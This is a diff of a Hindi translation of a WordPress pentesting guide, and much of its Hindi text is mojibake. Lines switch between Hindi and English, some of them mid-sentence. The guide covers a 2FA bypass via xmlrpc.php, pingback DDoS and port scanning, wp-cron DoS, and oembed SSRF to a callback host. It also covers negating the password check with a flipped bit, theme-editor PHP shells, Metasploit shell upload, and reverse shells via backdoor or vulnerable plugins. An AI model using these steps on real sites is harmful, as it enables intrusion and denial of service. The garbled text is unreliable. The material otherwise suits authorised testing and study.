-рдпрд╣ рд╡рд┐рдзрд┐ рдкреНрд░реЛрдЧреНрд░рд╛рдореНрд╕ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЗрдВрд╕рд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ, рдФрд░ рдкреБрд░рд╛рдиреА рд╣реЛрдиреЗ рдХреЗ рдХрд╛рд░рдг рдпрд╣ 2FA рдХреЛ рд╕рдкреЛрд░реНрдЯ рдирд╣реАрдВ рдХрд░рддреАред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ valid creds рд╣реИрдВ рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдкреНрд░рд╡реЗрд╢ 2FA рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ **рдЖрдк xmlrpc.php рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди creds рд╕реЗ 2FA рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдЖрдк console рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░ рдкрд╛рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА actions рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдлрд┐рд░ рднреА рдЖрдк RCE рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ Ippsec рдиреЗ [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рд╣реИред
+This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning**
-рдпрджрд┐ рдЖрдк list рдХреЗ рдЕрдВрджрд░ _**pingback.ping**_ method рдХреЛ рдвреВрдБрдв рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЖрдк Wordpress рдХреЛ рдХрд┐рд╕реА рднреА host/port рдкрд░ arbitrary request рднреЗрдЬрд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВред\
-рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рд╣рдЬрд╝рд╛рд░реЛрдВ** Wordpress **рд╕рд╛рдЗрдЯреЛрдВ** рд╕реЗ рдПрдХ рд╣реА **рд╕реНрдерд╛рди** рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд░рд╡рд╛рдПрдБрдЧреЗ (рдЬрд┐рд╕рд╕реЗ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ **DDoS** рд╣реЛрддрд╛ рд╣реИ), рдпрд╛ рдЖрдк рдЗрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Wordpress** рдХреЛ рдХрд┐рд╕реА internal **рдиреЗрдЯрд╡рд░реНрдХ** рдкрд░ **рд╕реНрдХреИрди** рдХрд░рд╡рд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдХреЛрдИ рднреА рдкреЛрд░реНрдЯ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред
+If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
+This can be used to ask **рд╣рдЬрд╝рд╛рд░реЛрдВ** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
```html
pingback.ping
@@ -193,9 +191,9 @@ The message _"Incorrect username or password"_ inside a 200 code response should
```

-рдпрджрд┐ рдЖрдкрдХреЛ **faultCode** рдХрд╛ рдорд╛рди **рдмрдбрд╝рд╛** **0** (17) рд╕реЗ рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ port рдЦреБрд▓рд╛ рд╣реИред
+рдпрджрд┐ рдЖрдкрдХреЛ **faultCode** рдХрд╛ рдорд╛рди **0** (17) рд╕реЗ **рдЕрдзрд┐рдХ** рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИред
-рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ **`system.multicall`** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк рд╕реАрдЦ рд╕рдХреЗрдВ рдХрд┐ рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ DDoS рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
+рдкреВрд░реНрд╡ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ **`system.multicall`** рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдЖрдк рд╕реАрдЦ рд╕рдХреЗрдВ рдХрд┐ рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреИрд╕реЗ DDoS рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
**DDoS**
```html
@@ -211,15 +209,15 @@ The message _"Incorrect username or password"_ inside a 200 code response should
### wp-cron.php DoS
-рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдЖрдорддреМрд░ рдкрд░ Wordpress рд╕рд╛рдЗрдЯ рдХреА рд░реВрдЯ рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреА рд╣реИ: **`/wp-cron.php`**\\
-рдЬрдм рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ **рдПрдХреНрд╕реЗрд╕** рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ "**рднрд╛рд░реА**" MySQL **query** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рд╣рдорд▓рд╛рд╡рд░** рджреНрд╡рд╛рд░рд╛ **DoS** **рдкреИрджрд╛** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\\
-рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, `wp-cron.php` рдХреЛ рд╣рд░ рдкреЗрдЬ рд▓реЛрдб рдкрд░ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рднреА рдХреЛрдИ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд┐рд╕реА рднреА Wordpress рдкреЗрдЬ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ), рдЬреЛ high-traffic рд╕рд╛рдЗрдЯреНрд╕ рдкрд░ рд╕рдорд╕реНрдпрд╛рдПрдБ (DoS) рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
+рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдЖрдо рддреМрд░ рдкрд░ Wordpress рд╕рд╛рдЗрдЯ рдХреА root рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреА рд╣реИ: **`/wp-cron.php`**\
+рдЬрдм рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ access рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдПрдХ **heavy** MySQL **query** рдЪрд▓рд╛рдИ рдЬрд╛рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ **attackers** рджреНрд╡рд╛рд░рд╛ **DoS** рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред\
+рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ `wp-cron.php` рдХреЛ рд╣рд░ page load рдкрд░ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рднреА рдХреЛрдИ client рдХрд┐рд╕реА Wordpress рдкреЗрдЬ рдХреЛ request рдХрд░рддрд╛ рд╣реИ), рдЬреЛ high-traffic рд╕рд╛рдЗрдЯреНрд╕ рдкрд░ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (DoS)ред
-рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ Wp-Cron рдХреЛ disable рдХрд░реЗрдВ рдФрд░ host рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ cronjob рдмрдирд╛рдПрдВ рдЬреЛ рдирд┐рдпрдорд┐рдд рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗ (рдмрд┐рдирд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд┐рдП)ред
+рд╕реБрдЭрд╛рд╡ рд╣реИ рдХрд┐ Wp-Cron рдХреЛ disable рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ host рдХреЗ рдЕрдВрджрд░ рдПрдХ real cronjob рдмрдирд╛рдпрд╛ рдЬрд╛рдП рдЬреЛ рдЖрд╡рд╢реНрдпрдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдирд┐рдпрдорд┐рдд рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдЪрд▓рд╛рдП (рдмрд┐рдирд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд┐рдП)ред
### /wp-json/oembed/1.0/proxy - SSRF
-Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
+рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХрд┐ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ рдкрд░ рдкрд╣реБрдБрдЪреЗрдВ рдФрд░ Worpress рд╕рд╛рдЗрдЯ рдЖрдкрдХреЗ рдкрд╛рд╕ request рдХрд░ рд╕рдХрддреА рд╣реИред
This is the response when it doesn't work:
@@ -232,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
-рдпрд╣ рдЯреВрд▓ рдЪреЗрдХ рдХрд░рддрд╛ рд╣реИ рдХрд┐ **methodName: pingback.ping** рдореМрдЬреВрдж рд╣реИ рдФрд░ рдкрд╛рде **/wp-json/oembed/1.0/proxy** рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдФрд░ рдЕрдЧрд░ рдореМрдЬреВрдж рд╣реИрдВ рддреЛ рдпрд╣ рдЙрдиреНрд╣реЗрдВ exploit рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред
+рдпрд╣ tool рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ **methodName: pingback.ping** рдФрд░ path **/wp-json/oembed/1.0/proxy** рдореМрдЬреВрдж рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ рдФрд░ рдпрджрд┐ рдореМрдЬреВрдж рд╣реЛрдВ рддреЛ рдЗрдиреНрд╣реЗрдВ exploit рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред
## Automatic Tools
```bash
@@ -242,14 +240,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## рдПрдХ рдмрд┐рдЯ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
-рдпрд╣ рдЕрд╕рд▓ рд╣рдорд▓рд╛ рд╣реЛрдиреЗ рдХреЗ рдмрдЬрд╛рдп рдПрдХ рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╣реИред CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рднреА wordpress рдлрд╝рд╛рдЗрд▓ рдХрд╛ 1 рдмрд┐рдЯ рдкрд▓рдЯ рд╕рдХрддреЗ рдереЗред рдЗрд╕рд▓рд┐рдП рдЖрдк рдлрд╝рд╛рдЗрд▓ `/var/www/html/wp-includes/user.php` рдХреА рд╕реНрдерд┐рддрд┐ `5389` рдкрд░ рдмрд┐рдЯ рдкрд▓рдЯрдХрд░ NOT (`!`) рдСрдкрд░реЗрд╢рди рдХреЛ NOP рдХрд░ рд╕рдХрддреЗ рдереЗред
+рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╣рдорд▓реЗ рд╕реЗ рдЕрдзрд┐рдХ рдпрд╣ рдПрдХ рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╣реИред CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рднреА wordpress рдлрд╝рд╛рдЗрд▓ рдХрд╛ 1 рдмрд┐рдЯ flip рдХрд░ рд╕рдХрддреЗ рдереЗред рдЗрд╕рд▓рд┐рдП рдЖрдк рдлрд╝рд╛рдЗрд▓ `/var/www/html/wp-includes/user.php` рдХреЗ position `5389` рдХрд╛ рдмрд┐рдЯ flip рдХрд░рдХреЗ NOT (`!`) рдСрдкрд░реЗрд╢рди рдХреЛ NOP рдХрд░ рд╕рдХрддреЗ рдереЗред
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
-**рдереАрдо рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП php рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ (admin credentials рдЖрд╡рд╢реНрдпрдХ)**
+**рдереАрдо рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП php рдореЗрдВ рд╕рдВрд╢реЛрдзрди (admin credentials needed)**
Appearance тЖТ Theme Editor тЖТ 404 Template (at the right)
@@ -257,7 +255,7 @@ php shell рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдмрджрд▓реЗрдВ:
.png>)
-рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ рдХрд┐ рдЖрдк рдЙрд╕ рдЕрдкрдбреЗрдЯ рдХрд┐рдП рдЧрдП рдкреГрд╖реНрда рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдпрд╣рд╛рдБ рдкрд╣реБрдБрдЪрдирд╛ рд╣реЛрдЧрд╛: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
+рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ рдХрд┐ рдЖрдк рдЙрд╕ рдЕрдкрдбреЗрдЯреЗрдб рдкреЗрдЬ рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЖрдкрдХреЛ рдпрд╣рд╛рдБ рдкрд╣реБрдБрдЪрдирд╛ рд╣реЛрдЧрд╛: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@@ -265,67 +263,67 @@ php shell рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдмрджрд▓реЗрдВ:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
-рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
+to get a session.
## Plugin RCE
### PHP plugin
-рдХрднреА-рдХрднреА .php рдлрд╛рдЗрд▓реЗрдВ plugin рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
-рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ php backdoor рдмрдирд╛рдПрдВ:
+It may be possible to upload .php files as a plugin.\
+Create your php backdoor using for example:
.png>)
-рдлрд┐рд░ рдПрдХ рдирдпрд╛ plugin рдЬреЛрдбрд╝реЗрдВ:
+Then add a new plugin:
.png>)
-Plugin рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ Install Now рджрдмрд╛рдПрдБ:
+Upload plugin and press Install Now:
.png>)
-Procced рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ:
+Click on Procced:
.png>)
-рд╢рд╛рдпрдж рдЗрд╕рд╕реЗ рдХреБрдЫ рднреА рдирд╣реАрдВ рд╣реЛрдЧрд╛, рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк Media рдореЗрдВ рдЬрд╛рдПрдБ рддреЛ рдЖрдк рдЕрдкрдирд╛ shell рдЕрдкрд▓реЛрдб рд╣реБрдЖ рджреЗрдЦреЗрдВрдЧреЗ:
+Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
.png>)
-рдЗрд╕реЗ access рдХрд░реЗрдВ рдФрд░ рдЖрдк reverse shell execute рдХрд░рдиреЗ рдХрд╛ URL рджреЗрдЦреЗрдВрдЧреЗ:
+Access it and you will see the URL to execute the reverse shell:
.png>)
### Uploading and activating malicious plugin
-рдпрд╣ рддрд░реАрдХрд╛ рдПрдХ рдРрд╕реА malicious plugin рдХреА installation рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬрд┐рд╕реЗ vulnerable рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЬрд┐рд╕рдХрд╛ exploit рдХрд░рдХреЗ web shell рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WordPress dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ:
+рдпрд╣ рддрд░реАрдХрд╛ рдПрдХ рдРрд╕реЗ malicious plugin рдХреА installation рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЬреНрдЮрд╛рдд рд░реВрдк рд╕реЗ vulnerable рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ exploit рдХрд░рдХреЗ web shell рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ WordPress dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА рдЬрд╛рддреА рд╣реИ:
-1. **Plugin Acquisition**: Plugin рдХреЛ Exploit DB рдЬреИрд╕реЗ рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**here**](https://www.exploit-db.com/exploits/36374).
+1. **Plugin Acquisition**: plugin рдХреЛ рдХрд┐рд╕реА рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреИрд╕реЗ Exploit DB рдЬреИрд╕реЗ [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
-- WordPress dashboard рдкрд░ рдЬрд╛рдПрдБ, рдлрд┐рд░ `Dashboard > Plugins > Upload Plugin` рдкрд░ рдЬрд╛рдПрдБред
-- рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдЧрдП plugin рдХреА zip рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред
-3. **Plugin Activation**: рдПрдХ рдмрд╛рд░ plugin рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ install рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдЗрд╕реЗ dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ activate рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
+- WordPress dashboard рдкрд░ рдЬрд╛рдПрдВ, рдлрд┐рд░ `Dashboard > Plugins > Upload Plugin` рдкрд░ рдЬрд╛рдПрдВред
+- Download рдХрд┐рдпрд╛ рдЧрдпрд╛ plugin zip file рдЕрдкрд▓реЛрдб рдХрд░реЗрдВред
+3. **Plugin Activation**: рдПрдХ рдмрд╛рд░ plugin рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ install рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдЗрд╕реЗ dashboard рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
4. **Exploitation**:
-- рдЬрдм "reflex-gallery" plugin install рдФрд░ activate рд╣реЛ, рддреЛ рдЗрд╕реЗ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ vulnerable рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред
-- Metasploit framework рдЗрд╕ vulnerability рдХреЗ рд▓рд┐рдП рдПрдХ exploit рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреБрдХреНрдд module рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдбреНрд╕ execute рдХрд░рдХреЗ рдПрдХ meterpreter session рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ site рдкрд░ unauthorized access рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИред
-- рдпрд╣ рдХреЗрд╡рд▓ WordPress рд╕рд╛рдЗрдЯ рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИред
+- рдЬрдм "reflex-gallery" plugin install рдФрд░ activate рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕реЗ exploit рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЬреНрдЮрд╛рдд рд░реВрдк рд╕реЗ vulnerable рд╣реИред
+- Metasploit framework рдЗрд╕ vulnerability рдХреЗ рд▓рд┐рдП рдПрдХ exploit рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреБрдХреНрдд module рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ commands рдЪрд▓рд╛рдХрд░, meterpreter session рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ site рдкрд░ unauthorized access рджреЗрддрд╛ рд╣реИред
+- рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ WordPress рд╕рд╛рдЗрдЯ рдХреЛ exploit рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдХреЗрд╡рд▓ рдПрдХ рд╣реИред
-рд╕рд╛рдордЧреНрд░реА рдореЗрдВ WordPress dashboard рдореЗрдВ plugin install рдФрд░ activate рдХрд░рдиреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реБрдП рджреГрд╢реНрдп рд╕рдВрджрд░реНрдн рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ vulnerabilities рдХрд╛ exploit рдХрд░рдирд╛ рдЕрд╡реИрдз рдФрд░ рдЕрдиреИрддрд┐рдХ рд╣реИред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдФрд░ рдХреЗрд╡рд▓ рдХрд╛рдиреВрдиреА рд╕рдВрджрд░реНрдн рдореЗрдВ рд╣реА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ рдХрд┐ penetration testing рдЬрдм рд╕реНрдкрд╖реНрдЯ рдЕрдиреБрдорддрд┐ рд╣реЛред
+рдпрд╣ рд╕рд╛рдордЧреНрд░реА WordPress dashboard рдореЗрдВ plugin install рдФрд░ activate рдХрд░рдиреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдХреЛ рджрд┐рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ visual aids рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреА vulnerabilities рдХрд╛ exploitation рдЙрдЪрд┐рдд рдЕрдиреБрдорддрд┐ рдХреЗ рдмрд┐рдирд╛ illegal рдФрд░ unethical рд╣реИред рдпрд╣ рдЬрд╛рдирдХрд╛рд░реА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕реЗ рдФрд░ рдХреЗрд╡рд▓ рдХрд╛рдиреВрдиреА рдкрд░рд┐рдкреНрд░реЗрдХреНрд╖реНрдп рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ explicit рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде penetration testingред
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
-## From XSS to RCE
+## XSS рд╕реЗ RCE рддрдХ
